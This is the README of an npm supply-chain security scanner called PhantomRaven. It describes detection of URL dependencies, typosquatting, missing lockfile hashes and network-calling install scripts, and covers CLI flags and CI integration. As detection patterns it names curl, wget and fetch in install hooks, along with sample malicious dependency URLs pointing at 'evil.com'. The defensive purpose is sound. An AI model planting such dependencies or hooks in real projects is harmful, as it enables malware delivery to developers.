PhantomRaven Scanner

A specialized security tool to detect "Reputation Deception" and "Hidden Dependency" attacks in npm projects.

If this tool helped secure your project, consider giving it a ⭐ to help others discover it!

PhantomRaven scans your package.json and package-lock.json for specific attack vectors recently highlighted by security researchers (KOI, Hackaday), where attackers bypass the npm registry to inject malware via direct URL dependencies or typosquatting.

What it Detects

Attack Vector	Description
RDD (Remote Dynamic Dependencies)	Dependencies pointing to direct URLs (http, git, ssh) instead of the immutable npm registry
Malicious Shorthands	Detects github:, gitlab:, bitbucket:, and gist: shorthand protocols often used to hide malicious forks
Lockfile Tampering	Identifies packages in package-lock.json missing integrity hashes
Typosquatting	Uses Levenshtein distance to find packages posing as popular libraries (e.g., 1odash instead of lodash)
Suspicious Scripts	Scans preinstall/postinstall scripts for network commands (curl, wget, fetch)

Quick Start

No installation required. Just Python 3.7+ and the script.

# Scan the current directory
python phantom_raven_scanner.py

# Scan a specific project with verbose output
python phantom_raven_scanner.py /path/to/project -v

# Run in CI/CD (exit with error if Critical issues found)
python phantom_raven_scanner.py . --fail-on-critical

Options

Flag	Description
-v, --verbose	Show verbose output including clean projects
-o FILE	Export results to JSON file
--trusted-domain DOMAIN	Whitelist private registries (can be used multiple times)
--include-node-modules	Deep scan inside installed modules (slow)
--fail-on-critical	Exit code 1 if Critical issues found
--fail-on-high	Exit code 1 if High or Critical issues found
--no-color	Disable colored output
--version	Show version

Examples

# Corporate environment with private Artifactory
python phantom_raven_scanner.py . --trusted-domain artifactory.corp.com

# Multiple trusted domains
python phantom_raven_scanner.py . --trusted-domain nexus.internal --trusted-domain gitlab.corp.com

# Export results for reporting
python phantom_raven_scanner.py . -o security-report.json

# Full scan with verbose output
python phantom_raven_scanner.py ~/projects -v --fail-on-high

Severity Levels

Level	Description	Example
CRITICAL	HTTP URL dependency or shorthand protocol	"dep": "http://evil.com/pkg.tgz"
HIGH	Missing integrity hash, typosquatting, suspicious scripts	"1odash": "^4.0.0"
LOW	Local file dependencies	"dep": "file:../local" (common in monorepos)
INFO	Informational notices	Parse errors

CI/CD Integration

GitHub Actions (Recommended)

Use the official action for the simplest integration:

name: Security Scan

on: [push, pull_request]

jobs:
  phantom-raven:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: PhantomRaven Security Scan
        uses: maxh33/phantom-raven-npm-vulnerability-scanner@v1
        with:
          path: '.'
          fail-on-critical: 'true'

      - name: Upload Results
        uses: actions/upload-artifact@v4
        if: always()
        with:
          name: security-report
          path: phantom-raven-report.json

Action Inputs

Input	Description	Default
path	Directory to scan	.
fail-on-critical	Exit with error on critical issues	true
fail-on-high	Exit with error on high+ issues	false
trusted-domains	Comma-separated trusted domains	``
output-file	JSON report filename	phantom-raven-report.json
include-node-modules	Scan node_modules (slow)	false

Action Outputs

Output	Description
issues-found	Total number of issues
critical-count	Number of critical issues
high-count	Number of high severity issues
report-path	Path to JSON report

Advanced Example

- name: PhantomRaven Security Scan
  id: security
  uses: maxh33/phantom-raven-npm-vulnerability-scanner@v1
  with:
    path: './packages'
    fail-on-high: 'true'
    trusted-domains: 'nexus.corp.com,artifactory.internal'
    output-file: 'security-audit.json'

- name: Comment on PR
  if: failure() && github.event_name == 'pull_request'
  run: |
    echo "Found ${{ steps.security.outputs.critical-count }} critical issues"

GitHub Actions (Alternative - Direct Script)

For environments where you need to pin to a specific commit:

jobs:
  phantom-raven:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - uses: actions/setup-python@v5
        with:
          python-version: '3.11'

      - name: Download and Run Scanner
        run: |
          curl -sO https://raw.githubusercontent.com/maxh33/phantom-raven-npm-vulnerability-scanner/main/phantom_raven_scanner.py
          python phantom_raven_scanner.py . --fail-on-critical -o results.json

      - uses: actions/upload-artifact@v4
        if: always()
        with:
          name: security-scan
          path: results.json

GitLab CI

security-scan:
  image: python:3.11-slim
  script:
    - python phantom_raven_scanner.py . --fail-on-critical -o results.json
  artifacts:
    when: always
    paths:
      - results.json

Sample Output

============================================================
PhantomRaven NPM Vulnerability Scanner v1.0.0
============================================================

Projects scanned: 25
Total packages analyzed: 342
Issues found: 2

[CRITICAL]
  Package: malicious-pkg
  File: /app/package.json
  Issue: HTTP/URL dependency detected (PhantomRaven RDD attack vector)
  Value: http://evil-domain.com/package.tgz
  Fix: Replace with npm registry version or verify URL source

[HIGH]
  Package: 1odash
  File: /app/package.json
  Issue: Potential typosquatting: Very similar to popular package 'lodash' (1 char diff)
  Value: ^4.17.21
  Fix: Verify package authenticity on npmjs.com

Prevention Tips

1. Use lockfiles - Always commit package-lock.json
2. Run npm audit - Check for known vulnerabilities
3. Review new packages - Verify on npmjs.com before installing
4. Use exact versions - Add save-exact=true to .npmrc
5. Periodic scans - Run this scanner in CI/CD pipelines

Recommended .npmrc

registry=https://registry.npmjs.org/
package-lock=true
audit=true
save-exact=true
strict-ssl=true

Contributing

Contributions welcome! To add detection patterns, edit the constants in phantom_raven_scanner.py:

# Add to KNOWN_MALICIOUS_PATTERNS for specific package names
KNOWN_MALICIOUS_PATTERNS = [r"^your-pattern$", ...]

# Add to SAFE_URL_PATTERNS for trusted registries
SAFE_URL_PATTERNS = [r"^https://your-registry\.com/", ...]

# Add to POPULAR_PACKAGES for typosquatting detection
POPULAR_PACKAGES = {"your-package", ...}

Support

For issues, bugs, or feature requests, please open an issue.

License

MIT License - see LICENSE

References

• PhantomRaven Attack Analysis (KOI)
• Hackaday Coverage
• npm Security Best Practices